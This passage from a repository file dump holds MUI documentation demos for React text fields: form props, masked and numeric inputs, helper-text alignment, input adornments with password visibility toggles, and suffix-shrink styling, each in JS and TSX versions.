'& input:invalid + fieldset': {\n    borderColor: 'red',\n    borderWidth: 1,\n  },\n  '& input:valid:focus + fieldset': {\n    borderLeftWidth: 4,\n    padding: '4px !important', // override inline-style\n  },\n});\n\nexport default function CustomizedInputsStyled() {\n  return (\n    <Box\n      component=\"form\"\n      noValidate\n      sx={{ display: 'grid', gridTemplateColumns: { sm: '1fr 1fr' }, gap: 2 }}\n    >\n      <FormControl variant=\"standard\">\n        <InputLabel shrink htmlFor=\"bootstrap-input\">\n          Bootstrap\n        </InputLabel>\n        <BootstrapInput defaultValue=\"react-bootstrap\" id=\"bootstrap-input\" />\n      </FormControl>\n      <RedditTextField\n        label=\"Reddit\"\n        defaultValue=\"react-reddit\"\n        id=\"reddit-input\"\n        variant=\"filled\"\n        style={{ marginTop: 11 }}\n      />\n      <CssTextField label=\"Custom CSS\" id=\"custom-css-outlined-input\" />\n      <ValidationTextField\n        label=\"CSS validation style\"\n        required\n        variant=\"outlined\"\n        defaultValue=\"Success\"\n        id=\"validation-outlined-input\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FormPropsTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function FormPropsTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          required\n          id=\"outlined-required\"\n          label=\"Required\"\n          defaultValue=\"Hello World\"\n        />\n        <TextField\n          disabled\n          id=\"outlined-disabled\"\n          label=\"Disabled\"\n          defaultValue=\"Hello World\"\n        />\n        <TextField\n          id=\"outlined-password-input\"\n          label=\"Password\"\n          type=\"password\"\n          autoComplete=\"current-password\"\n        />\n        <TextField\n          id=\"outlined-read-only-input\"\n          label=\"Read Only\"\n          defaultValue=\"Hello World\"\n          slotProps={{\n            input: {\n              readOnly: true,\n            },\n          }}\n        />\n        <TextField id=\"outlined-search\" label=\"Search field\" type=\"search\" />\n        <TextField\n          id=\"outlined-helperText\"\n          label=\"Helper text\"\n          defaultValue=\"Default Value\"\n          helperText=\"Some important text\"\n        />\n      </div>\n      <div>\n        <TextField\n          required\n          id=\"filled-required\"\n          label=\"Required\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n        />\n        <TextField\n          disabled\n          id=\"filled-disabled\"\n          label=\"Disabled\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-password-input\"\n          label=\"Password\"\n          type=\"password\"\n          autoComplete=\"current-password\"\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-read-only-input\"\n          label=\"Read Only\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n          slotProps={{\n            input: {\n              readOnly: true,\n            },\n          }}\n        />\n        <TextField\n          id=\"filled-search\"\n          label=\"Search field\"\n          type=\"search\"\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-helperText\"\n          label=\"Helper text\"\n          defaultValue=\"Default Value\"\n          helperText=\"Some important text\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          required\n          id=\"standard-required\"\n          label=\"Required\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n        />\n        <TextField\n          disabled\n          id=\"standard-disabled\"\n          label=\"Disabled\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-password-input\"\n          label=\"Password\"\n          type=\"password\"\n          autoComplete=\"current-password\"\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-read-only-input\"\n          label=\"Read Only\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n          slotProps={{\n            input: {\n              readOnly: true,\n            },\n          }}\n        />\n        <TextField\n          id=\"standard-search\"\n          label=\"Search field\"\n          type=\"search\"\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-helperText\"\n          label=\"Helper text\"\n          defaultValue=\"Default Value\"\n          helperText=\"Some important text\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FormPropsTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function FormPropsTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          required\n          id=\"outlined-required\"\n          label=\"Required\"\n          defaultValue=\"Hello World\"\n        />\n        <TextField\n          disabled\n          id=\"outlined-disabled\"\n          label=\"Disabled\"\n          defaultValue=\"Hello World\"\n        />\n        <TextField\n          id=\"outlined-password-input\"\n          label=\"Password\"\n          type=\"password\"\n          autoComplete=\"current-password\"\n        />\n        <TextField\n          id=\"outlined-read-only-input\"\n          label=\"Read Only\"\n          defaultValue=\"Hello World\"\n          slotProps={{\n            input: {\n              readOnly: true,\n            },\n          }}\n        />\n        <TextField id=\"outlined-search\" label=\"Search field\" type=\"search\" />\n        <TextField\n          id=\"outlined-helperText\"\n          label=\"Helper text\"\n          defaultValue=\"Default Value\"\n          helperText=\"Some important text\"\n        />\n      </div>\n      <div>\n        <TextField\n          required\n          id=\"filled-required\"\n          label=\"Required\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n        />\n        <TextField\n          disabled\n          id=\"filled-disabled\"\n          label=\"Disabled\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-password-input\"\n          label=\"Password\"\n          type=\"password\"\n          autoComplete=\"current-password\"\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-read-only-input\"\n          label=\"Read Only\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n          slotProps={{\n            input: {\n              readOnly: true,\n            },\n          }}\n        />\n        <TextField\n          id=\"filled-search\"\n          label=\"Search field\"\n          type=\"search\"\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-helperText\"\n          label=\"Helper text\"\n          defaultValue=\"Default Value\"\n          helperText=\"Some important text\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          required\n          id=\"standard-required\"\n          label=\"Required\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n        />\n        <TextField\n          disabled\n          id=\"standard-disabled\"\n          label=\"Disabled\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-password-input\"\n          label=\"Password\"\n          type=\"password\"\n          autoComplete=\"current-password\"\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-read-only-input\"\n          label=\"Read Only\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n          slotProps={{\n            input: {\n              readOnly: true,\n            },\n          }}\n        />\n        <TextField\n          id=\"standard-search\"\n          label=\"Search field\"\n          type=\"search\"\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-helperText\"\n          label=\"Helper text\"\n          defaultValue=\"Default Value\"\n          helperText=\"Some important text\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FormattedInputs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { IMaskInput } from 'react-imask';\nimport { NumericFormat } from 'react-number-format';\nimport Stack from '@mui/material/Stack';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport TextField from '@mui/material/TextField';\nimport FormControl from '@mui/material/FormControl';\n\nconst TextMaskCustom = React.forwardRef(function TextMaskCustom(props, ref) {\n  const { onChange, ...other } = props;\n  return (\n    <IMaskInput\n      {...other}\n      mask=\"(#00) 000-0000\"\n      definitions={{\n        '#': /[1-9]/,\n      }}\n      inputRef={ref}\n      onAccept={(value) => onChange({ target: { name: props.name, value } })}\n      overwrite\n    />\n  );\n});\n\nTextMaskCustom.propTypes = {\n  name: PropTypes.string.isRequired,\n  onChange: PropTypes.func.isRequired,\n};\n\nexport default function FormattedInputs() {\n  const [values, setValues] = React.useState({\n    textmask: '(100) 000-0000',\n    numberformat: '1320',\n  });\n\n  const handleChange = (event) => {\n    setValues({\n      ...values,\n      [event.target.name]: event.target.value,\n    });\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"formatted-text-mask-input\">react-imask</InputLabel>\n        <Input\n          value={values.textmask}\n          onChange={handleChange}\n          name=\"textmask\"\n          id=\"formatted-text-mask-input\"\n          inputComponent={TextMaskCustom}\n        />\n      </FormControl>\n      <NumericFormat\n        value={values.numberformat}\n        onChange={handleChange}\n        customInput={TextField}\n        thousandSeparator\n        valueIsNumericString\n        prefix=\"$\"\n        variant=\"standard\"\n        label=\"react-number-format\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FormattedInputs.tsx",
    "content": "import * as React from 'react';\nimport { IMaskInput } from 'react-imask';\nimport { NumericFormat } from 'react-number-format';\nimport Stack from '@mui/material/Stack';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport TextField from '@mui/material/TextField';\nimport FormControl from '@mui/material/FormControl';\n\ninterface CustomProps {\n  onChange: (event: { target: { name: string; value: string } }) => void;\n  name: string;\n}\n\nconst TextMaskCustom = React.forwardRef<HTMLInputElement, CustomProps>(\n  function TextMaskCustom(props, ref) {\n    const { onChange, ...other } = props;\n    return (\n      <IMaskInput\n        {...other}\n        mask=\"(#00) 000-0000\"\n        definitions={{\n          '#': /[1-9]/,\n        }}\n        inputRef={ref}\n        onAccept={(value: any) => onChange({ target: { name: props.name, value } })}\n        overwrite\n      />\n    );\n  },\n);\n\nexport default function FormattedInputs() {\n  const [values, setValues] = React.useState({\n    textmask: '(100) 000-0000',\n    numberformat: '1320',\n  });\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setValues({\n      ...values,\n      [event.target.name]: event.target.value,\n    });\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"formatted-text-mask-input\">react-imask</InputLabel>\n        <Input\n          value={values.textmask}\n          onChange={handleChange}\n          name=\"textmask\"\n          id=\"formatted-text-mask-input\"\n          inputComponent={TextMaskCustom as any}\n        />\n      </FormControl>\n      <NumericFormat\n        value={values.numberformat}\n        onChange={handleChange}\n        customInput={TextField}\n        thousandSeparator\n        valueIsNumericString\n        prefix=\"$\"\n        variant=\"standard\"\n        label=\"react-number-format\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FullWidthTextField.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function FullWidthTextField() {\n  return (\n    <Box sx={{ width: 500, maxWidth: '100%' }}>\n      <TextField fullWidth label=\"fullWidth\" id=\"fullWidth\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FullWidthTextField.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function FullWidthTextField() {\n  return (\n    <Box sx={{ width: 500, maxWidth: '100%' }}>\n      <TextField fullWidth label=\"fullWidth\" id=\"fullWidth\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/FullWidthTextField.tsx.preview",
    "content": "<TextField fullWidth label=\"fullWidth\" id=\"fullWidth\" />"
  },
  {
    "path": "docs/data/material/components/text-fields/HelperTextAligned.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function HelperTextAligned() {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center', '& > :not(style)': { m: 1 } }}>\n      <TextField\n        helperText=\"Please enter your name\"\n        id=\"demo-helper-text-aligned\"\n        label=\"Name\"\n      />\n      <TextField\n        helperText=\" \"\n        id=\"demo-helper-text-aligned-no-helper\"\n        label=\"Name\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/HelperTextAligned.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function HelperTextAligned() {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center', '& > :not(style)': { m: 1 } }}>\n      <TextField\n        helperText=\"Please enter your name\"\n        id=\"demo-helper-text-aligned\"\n        label=\"Name\"\n      />\n      <TextField\n        helperText=\" \"\n        id=\"demo-helper-text-aligned-no-helper\"\n        label=\"Name\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/HelperTextAligned.tsx.preview",
    "content": "<TextField\n  helperText=\"Please enter your name\"\n  id=\"demo-helper-text-aligned\"\n  label=\"Name\"\n/>\n<TextField\n  helperText=\" \"\n  id=\"demo-helper-text-aligned-no-helper\"\n  label=\"Name\"\n/>"
  },
  {
    "path": "docs/data/material/components/text-fields/HelperTextMisaligned.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function HelperTextMisaligned() {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center', '& > :not(style)': { m: 1 } }}>\n      <TextField\n        helperText=\"Please enter your name\"\n        id=\"demo-helper-text-misaligned\"\n        label=\"Name\"\n      />\n      <TextField id=\"demo-helper-text-misaligned-no-helper\" label=\"Name\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/HelperTextMisaligned.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function HelperTextMisaligned() {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center', '& > :not(style)': { m: 1 } }}>\n      <TextField\n        helperText=\"Please enter your name\"\n        id=\"demo-helper-text-misaligned\"\n        label=\"Name\"\n      />\n      <TextField id=\"demo-helper-text-misaligned-no-helper\" label=\"Name\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/HelperTextMisaligned.tsx.preview",
    "content": "<TextField\n  helperText=\"Please enter your name\"\n  id=\"demo-helper-text-misaligned\"\n  label=\"Name\"\n/>\n<TextField id=\"demo-helper-text-misaligned-no-helper\" label=\"Name\" />"
  },
  {
    "path": "docs/data/material/components/text-fields/InputAdornments.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport IconButton from '@mui/material/IconButton';\nimport Input from '@mui/material/Input';\nimport FilledInput from '@mui/material/FilledInput';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport TextField from '@mui/material/TextField';\nimport Visibility from '@mui/icons-material/Visibility';\nimport VisibilityOff from '@mui/icons-material/VisibilityOff';\n\nexport default function InputAdornments() {\n  const [showPassword, setShowPassword] = React.useState(false);\n\n  const handleClickShowPassword = () => setShowPassword((show) => !show);\n\n  const handleMouseDownPassword = (event) => {\n    event.preventDefault();\n  };\n\n  const handleMouseUpPassword = (event) => {\n    event.preventDefault();\n  };\n\n  return (\n    <Box sx={{ display: 'flex', flexWrap: 'wrap' }}>\n      <div>\n        <TextField\n          label=\"With normal TextField\"\n          id=\"outlined-start-adornment\"\n          sx={{ m: 1, width: '25ch' }}\n          slotProps={{\n            input: {\n              startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n            },\n          }}\n        />\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"outlined\">\n          <OutlinedInput\n            id=\"outlined-adornment-weight\"\n            endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>}\n            aria-describedby=\"outlined-weight-helper-text\"\n            inputProps={{\n              'aria-label': 'weight',\n            }}\n          />\n          <FormHelperText id=\"outlined-weight-helper-text\">Weight</FormHelperText>\n        </FormControl>\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"outlined\">\n          <InputLabel htmlFor=\"outlined-adornment-password\">Password</InputLabel>\n          <OutlinedInput\n            id=\"outlined-adornment-password\"\n            type={showPassword ? 'text' : 'password'}\n            endAdornment={\n              <InputAdornment position=\"end\">\n                <IconButton\n                  aria-label={\n                    showPassword ? 'hide the password' : 'display the password'\n                  }\n                  onClick={handleClickShowPassword}\n                  onMouseDown={handleMouseDownPassword}\n                  onMouseUp={handleMouseUpPassword}\n                  edge=\"end\"\n                >\n                  {showPassword ? <VisibilityOff /> : <Visibility />}\n                </IconButton>\n              </InputAdornment>\n            }\n            label=\"Password\"\n          />\n        </FormControl>\n        <FormControl fullWidth sx={{ m: 1 }}>\n          <InputLabel htmlFor=\"outlined-adornment-amount\">Amount</InputLabel>\n          <OutlinedInput\n            id=\"outlined-adornment-amount\"\n            startAdornment={<InputAdornment position=\"start\">$</InputAdornment>}\n            label=\"Amount\"\n          />\n        </FormControl>\n      </div>\n      <div>\n        <TextField\n          label=\"With normal TextField\"\n          id=\"filled-start-adornment\"\n          sx={{ m: 1, width: '25ch' }}\n          slotProps={{\n            input: {\n              startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n            },\n          }}\n          variant=\"filled\"\n        />\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"filled\">\n          <FilledInput\n            id=\"filled-adornment-weight\"\n            endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>}\n            aria-describedby=\"filled-weight-helper-text\"\n            inputProps={{\n              'aria-label': 'weight',\n            }}\n          />\n          <FormHelperText id=\"filled-weight-helper-text\">Weight</FormHelperText>\n        </FormControl>\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"filled\">\n          <InputLabel htmlFor=\"filled-adornment-password\">Password</InputLabel>\n          <FilledInput\n            id=\"filled-adornment-password\"\n            type={showPassword ? 'text' : 'password'}\n            endAdornment={\n              <InputAdornment position=\"end\">\n                <IconButton\n                  aria-label={\n                    showPassword ? 'hide the password' : 'display the password'\n                  }\n                  onClick={handleClickShowPassword}\n                  onMouseDown={handleMouseDownPassword}\n                  onMouseUp={handleMouseUpPassword}\n                  edge=\"end\"\n                >\n                  {showPassword ? <VisibilityOff /> : <Visibility />}\n                </IconButton>\n              </InputAdornment>\n            }\n          />\n        </FormControl>\n        <FormControl fullWidth sx={{ m: 1 }} variant=\"filled\">\n          <InputLabel htmlFor=\"filled-adornment-amount\">Amount</InputLabel>\n          <FilledInput\n            id=\"filled-adornment-amount\"\n            startAdornment={<InputAdornment position=\"start\">$</InputAdornment>}\n          />\n        </FormControl>\n      </div>\n      <div>\n        <TextField\n          label=\"With normal TextField\"\n          id=\"standard-start-adornment\"\n          sx={{ m: 1, width: '25ch' }}\n          slotProps={{\n            input: {\n              startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n            },\n          }}\n          variant=\"standard\"\n        />\n        <FormControl variant=\"standard\" sx={{ m: 1, mt: 3, width: '25ch' }}>\n          <Input\n            id=\"standard-adornment-weight\"\n            endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>}\n            aria-describedby=\"standard-weight-helper-text\"\n            inputProps={{\n              'aria-label': 'weight',\n            }}\n          />\n          <FormHelperText id=\"standard-weight-helper-text\">Weight</FormHelperText>\n        </FormControl>\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"standard\">\n          <InputLabel htmlFor=\"standard-adornment-password\">Password</InputLabel>\n          <Input\n            id=\"standard-adornment-password\"\n            type={showPassword ? 'text' : 'password'}\n            endAdornment={\n              <InputAdornment position=\"end\">\n                <IconButton\n                  aria-label={\n                    showPassword ? 'hide the password' : 'display the password'\n                  }\n                  onClick={handleClickShowPassword}\n                  onMouseDown={handleMouseDownPassword}\n                  onMouseUp={handleMouseUpPassword}\n                >\n                  {showPassword ? <VisibilityOff /> : <Visibility />}\n                </IconButton>\n              </InputAdornment>\n            }\n          />\n        </FormControl>\n        <FormControl fullWidth sx={{ m: 1 }} variant=\"standard\">\n          <InputLabel htmlFor=\"standard-adornment-amount\">Amount</InputLabel>\n          <Input\n            id=\"standard-adornment-amount\"\n            startAdornment={<InputAdornment position=\"start\">$</InputAdornment>}\n          />\n        </FormControl>\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/InputAdornments.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport IconButton from '@mui/material/IconButton';\nimport Input from '@mui/material/Input';\nimport FilledInput from '@mui/material/FilledInput';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport TextField from '@mui/material/TextField';\nimport Visibility from '@mui/icons-material/Visibility';\nimport VisibilityOff from '@mui/icons-material/VisibilityOff';\n\nexport default function InputAdornments() {\n  const [showPassword, setShowPassword] = React.useState(false);\n\n  const handleClickShowPassword = () => setShowPassword((show) => !show);\n\n  const handleMouseDownPassword = (event: React.MouseEvent<HTMLButtonElement>) => {\n    event.preventDefault();\n  };\n\n  const handleMouseUpPassword = (event: React.MouseEvent<HTMLButtonElement>) => {\n    event.preventDefault();\n  };\n\n  return (\n    <Box sx={{ display: 'flex', flexWrap: 'wrap' }}>\n      <div>\n        <TextField\n          label=\"With normal TextField\"\n          id=\"outlined-start-adornment\"\n          sx={{ m: 1, width: '25ch' }}\n          slotProps={{\n            input: {\n              startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n            },\n          }}\n        />\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"outlined\">\n          <OutlinedInput\n            id=\"outlined-adornment-weight\"\n            endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>}\n            aria-describedby=\"outlined-weight-helper-text\"\n            inputProps={{\n              'aria-label': 'weight',\n            }}\n          />\n          <FormHelperText id=\"outlined-weight-helper-text\">Weight</FormHelperText>\n        </FormControl>\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"outlined\">\n          <InputLabel htmlFor=\"outlined-adornment-password\">Password</InputLabel>\n          <OutlinedInput\n            id=\"outlined-adornment-password\"\n            type={showPassword ? 'text' : 'password'}\n            endAdornment={\n              <InputAdornment position=\"end\">\n                <IconButton\n                  aria-label={\n                    showPassword ? 'hide the password' : 'display the password'\n                  }\n                  onClick={handleClickShowPassword}\n                  onMouseDown={handleMouseDownPassword}\n                  onMouseUp={handleMouseUpPassword}\n                  edge=\"end\"\n                >\n                  {showPassword ? <VisibilityOff /> : <Visibility />}\n                </IconButton>\n              </InputAdornment>\n            }\n            label=\"Password\"\n          />\n        </FormControl>\n        <FormControl fullWidth sx={{ m: 1 }}>\n          <InputLabel htmlFor=\"outlined-adornment-amount\">Amount</InputLabel>\n          <OutlinedInput\n            id=\"outlined-adornment-amount\"\n            startAdornment={<InputAdornment position=\"start\">$</InputAdornment>}\n            label=\"Amount\"\n          />\n        </FormControl>\n      </div>\n      <div>\n        <TextField\n          label=\"With normal TextField\"\n          id=\"filled-start-adornment\"\n          sx={{ m: 1, width: '25ch' }}\n          slotProps={{\n            input: {\n              startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n            },\n          }}\n          variant=\"filled\"\n        />\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"filled\">\n          <FilledInput\n            id=\"filled-adornment-weight\"\n            endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>}\n            aria-describedby=\"filled-weight-helper-text\"\n            inputProps={{\n              'aria-label': 'weight',\n            }}\n          />\n          <FormHelperText id=\"filled-weight-helper-text\">Weight</FormHelperText>\n        </FormControl>\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"filled\">\n          <InputLabel htmlFor=\"filled-adornment-password\">Password</InputLabel>\n          <FilledInput\n            id=\"filled-adornment-password\"\n            type={showPassword ? 'text' : 'password'}\n            endAdornment={\n              <InputAdornment position=\"end\">\n                <IconButton\n                  aria-label={\n                    showPassword ? 'hide the password' : 'display the password'\n                  }\n                  onClick={handleClickShowPassword}\n                  onMouseDown={handleMouseDownPassword}\n                  onMouseUp={handleMouseUpPassword}\n                  edge=\"end\"\n                >\n                  {showPassword ? <VisibilityOff /> : <Visibility />}\n                </IconButton>\n              </InputAdornment>\n            }\n          />\n        </FormControl>\n        <FormControl fullWidth sx={{ m: 1 }} variant=\"filled\">\n          <InputLabel htmlFor=\"filled-adornment-amount\">Amount</InputLabel>\n          <FilledInput\n            id=\"filled-adornment-amount\"\n            startAdornment={<InputAdornment position=\"start\">$</InputAdornment>}\n          />\n        </FormControl>\n      </div>\n      <div>\n        <TextField\n          label=\"With normal TextField\"\n          id=\"standard-start-adornment\"\n          sx={{ m: 1, width: '25ch' }}\n          slotProps={{\n            input: {\n              startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n            },\n          }}\n          variant=\"standard\"\n        />\n        <FormControl variant=\"standard\" sx={{ m: 1, mt: 3, width: '25ch' }}>\n          <Input\n            id=\"standard-adornment-weight\"\n            endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>}\n            aria-describedby=\"standard-weight-helper-text\"\n            inputProps={{\n              'aria-label': 'weight',\n            }}\n          />\n          <FormHelperText id=\"standard-weight-helper-text\">Weight</FormHelperText>\n        </FormControl>\n        <FormControl sx={{ m: 1, width: '25ch' }} variant=\"standard\">\n          <InputLabel htmlFor=\"standard-adornment-password\">Password</InputLabel>\n          <Input\n            id=\"standard-adornment-password\"\n            type={showPassword ? 'text' : 'password'}\n            endAdornment={\n              <InputAdornment position=\"end\">\n                <IconButton\n                  aria-label={\n                    showPassword ? 'hide the password' : 'display the password'\n                  }\n                  onClick={handleClickShowPassword}\n                  onMouseDown={handleMouseDownPassword}\n                  onMouseUp={handleMouseUpPassword}\n                >\n                  {showPassword ? <VisibilityOff /> : <Visibility />}\n                </IconButton>\n              </InputAdornment>\n            }\n          />\n        </FormControl>\n        <FormControl fullWidth sx={{ m: 1 }} variant=\"standard\">\n          <InputLabel htmlFor=\"standard-adornment-amount\">Amount</InputLabel>\n          <Input\n            id=\"standard-adornment-amount\"\n            startAdornment={<InputAdornment position=\"start\">$</InputAdornment>}\n          />\n        </FormControl>\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/InputSuffixShrink.js",
    "content": "import Box from '@mui/material/Box';\nimport { filledInputClasses } from '@mui/material/FilledInput';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport TextField from '@mui/material/TextField';\nimport InputAdornment from '@mui/material/InputAdornment';\n\nexport default function InputSuffixShrink() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField\n        id=\"outlined-suffix-shrink\"\n        label=\"Outlined\"\n        variant=\"outlined\"\n        slotProps={{\n          input: {\n            endAdornment: (\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  opacity: 0,\n                  pointerEvents: 'none',\n                  [`[data-shrink=true] ~ .${inputBaseClasses.root} > &`]: {\n                    opacity: 1,\n                  },\n                }}\n              >\n                lbs\n              </InputAdornment>\n            ),\n          },\n        }}\n      />\n      <TextField\n        id=\"filled-suffix-shrink\"\n        label=\"Filled\"\n        variant=\"filled\"\n        slotProps={{\n          input: {\n            endAdornment: (\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  alignSelf: 'flex-end',\n                  opacity: 0,\n                  pointerEvents: 'none',\n                  [`.${filledInputClasses.root} &`]: {\n                    marginBottom: '7.5px',\n                  },\n                  [`[data-shrink=true] ~ .${inputBaseClasses.root} > &`]: {\n                    opacity: 1,\n                  },\n                }}\n              >\n                days\n              </InputAdornment>\n            ),\n          },\n        }}\n      />\n      <TextField\n        id=\"standard-suffix-shrink\"\n        label=\"Standard\"\n        variant=\"standard\"\n        slotProps={{\n          htmlInput: {\n            sx: { textAlign: 'right' },\n          },\n          input: {\n            endAdornment: (\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  alignSelf: 'flex-end',\n                  margin: 0,\n                  marginBottom: '5px',\n                  opacity: 0,\n                  pointerEvents: 'none',\n                  [`[data-shrink=true] ~ .${inputBaseClasses.root} > &`]: {\n                    opacity: 1,\n                  },\n                }}\n              >\n                @gmail.com\n              </InputAdornment>\n            ),\n          },\n        }}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/InputSuffixShrink.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { filledInputClasses } from '@mui/material/FilledInput';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport TextField from '@mui/material/TextField';\nimport InputAdornment from '@mui/material/InputAdornment';\n\nexport default function InputSuffixShrink() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField\n        id=\"outlined-suffix-shrink\"\n        label=\"Outlined\"\n        variant=\"outlined\"\n        slotProps={{\n          input: {\n            endAdornment: (\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  opacity: 0,\n                  pointerEvents: 'none',\n                  [`[data-shrink=true] ~ .${inputBaseClasses.root} > &`]: {\n                    opacity: 1,\n                  },\n                }}\n              >\n                lbs\n              </InputAdornment>\n            ),\n          },\n        }}\n      />\n      <TextField\n        id=\"filled-suffix-shrink\"\n        label=\"Filled\"\n        variant=\"filled\"\n        slotProps={{\n          input: {\n            endAdornment: (\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  alignSelf: 'flex-end',\n                  opacity: 0,\n                  